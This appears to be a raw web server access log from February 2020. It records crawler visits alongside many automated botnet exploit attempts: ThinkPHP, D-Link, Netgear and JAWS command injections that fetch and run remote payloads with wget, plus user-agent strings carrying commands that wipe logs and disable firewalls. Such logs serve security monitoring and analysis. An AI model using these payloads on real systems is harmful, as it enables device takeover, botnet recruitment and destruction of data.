192.241.230.223 - - [17/Feb/2020:04:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
112.27.187.117 - - [17/Feb/2020:04:48:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
112.27.187.117 - - [17/Feb/2020:04:48:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
195.158.95.4 - - [17/Feb/2020:04:49:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.249.64.27 - - [17/Feb/2020:04:53:19 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.29 - - [17/Feb/2020:04:53:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
124.230.51.5 - - [17/Feb/2020:04:57:16 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
37.202.101.13 - - [17/Feb/2020:05:00:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
162.244.32.59 - - [17/Feb/2020:05:01:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
51.77.246.206 - - [17/Feb/2020:05:03:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
95.6.86.149 - - [17/Feb/2020:05:12:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
114.40.182.146 - - [17/Feb/2020:05:13:37 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
94.130.150.75 - - [17/Feb/2020:05:16:57 +0100] "GET / HTTP/1.1" 200 1229 "http://www.webwiki.de/www.prokommunal-berlin.de" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
94.130.150.75 - - [17/Feb/2020:05:16:57 +0100] "GET /robots.txt HTTP/1.1" 404 327 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
41.230.92.147 - - [17/Feb/2020:05:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.229.159.138 - - [17/Feb/2020:05:21:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.225.215.221 - - [17/Feb/2020:05:22:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
85.97.196.40 - - [17/Feb/2020:05:22:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
217.138.124.130 - - [17/Feb/2020:05:22:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.89.67.10 - - [17/Feb/2020:05:23:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.25.88.174 - - [17/Feb/2020:05:24:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
94.130.150.75 - - [17/Feb/2020:05:25:11 +0100] "GET / HTTP/1.1" 200 1229 "http://www.webwiki.de/www.prokommunal.de" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
94.130.150.75 - - [17/Feb/2020:05:25:12 +0100] "GET /robots.txt HTTP/1.1" 404 320 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
78.164.17.235 - - [17/Feb/2020:05:27:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.115.40.30 - - [17/Feb/2020:05:30:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.173.174.106 - - [17/Feb/2020:05:30:34 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36"
218.208.155.183 - - [17/Feb/2020:05:31:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.161.69.125 - - [17/Feb/2020:05:33:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
3.84.75.49 - - [17/Feb/2020:05:33:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
193.110.78.59 - - [17/Feb/2020:05:36:37 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
162.243.132.59 - - [17/Feb/2020:05:38:34 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:38:40 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:38:55 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:39:01 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
121.161.99.72 - - [17/Feb/2020:05:39:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:05:39:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:05:39:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:05:39:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:05:40:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
124.47.8.10 - - [17/Feb/2020:05:40:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.132.59 - - [17/Feb/2020:05:40:36 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:41:06 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
78.168.10.239 - - [17/Feb/2020:05:42:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
162.243.132.59 - - [17/Feb/2020:05:42:34 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:42:38 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:42:41 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.59 - - [17/Feb/2020:05:42:46 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
144.217.73.132 - - [17/Feb/2020:05:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.132 - - [17/Feb/2020:05:42:51 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.132 - - [17/Feb/2020:05:42:51 +0100] "GET /sitemap.xml HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.132 - - [17/Feb/2020:05:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.132 - - [17/Feb/2020:05:42:52 +0100] "GET /ads.txt HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.132 - - [17/Feb/2020:05:42:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
123.14.145.71 - - [17/Feb/2020:05:43:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [17/Feb/2020:05:45:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [17/Feb/2020:05:45:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [17/Feb/2020:05:45:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [17/Feb/2020:05:45:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [17/Feb/2020:05:46:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
111.61.41.133 - - [17/Feb/2020:05:47:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.187.115.57 - - [17/Feb/2020:05:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.242.169.171 - - [17/Feb/2020:05:54:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.115.252.172 - - [17/Feb/2020:05:56:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.42.255.212 - - [17/Feb/2020:05:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
84.22.40.7 - - [17/Feb/2020:05:56:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.247.186.179 - - [17/Feb/2020:06:00:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.85.91.19 - - [17/Feb/2020:06:00:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.96.207.48 - - [17/Feb/2020:06:10:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.88.27.34 - - [17/Feb/2020:06:12:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.235.92.168 - - [17/Feb/2020:06:13:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
190.229.159.138 - - [17/Feb/2020:06:13:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
79.114.192.235 - - [17/Feb/2020:06:13:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
78.164.17.235 - - [17/Feb/2020:06:15:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.48.235.1 - - [17/Feb/2020:06:16:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
85.100.89.102 - - [17/Feb/2020:06:17:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.85.16.128 - - [17/Feb/2020:06:17:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.251.7.103 - - [17/Feb/2020:06:22:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.9.4.105 - - [17/Feb/2020:06:23:24 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
176.9.4.105 - - [17/Feb/2020:06:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
49.68.246.198 - - [17/Feb/2020:06:24:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
134.35.146.54 - - [17/Feb/2020:06:25:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
181.80.25.26 - - [17/Feb/2020:06:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
139.162.106.181 - - [17/Feb/2020:06:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
178.73.215.171 - - [17/Feb/2020:06:30:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
81.215.212.192 - - [17/Feb/2020:06:32:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.247.186.179 - - [17/Feb/2020:06:35:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.247.186.179 - - [17/Feb/2020:06:36:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
190.28.111.56 - - [17/Feb/2020:06:39:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
195.88.209.6 - - [17/Feb/2020:06:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
81.215.194.220 - - [17/Feb/2020:06:41:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
159.224.194.240 - - [17/Feb/2020:06:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:06:44:29 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:06:47:08 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
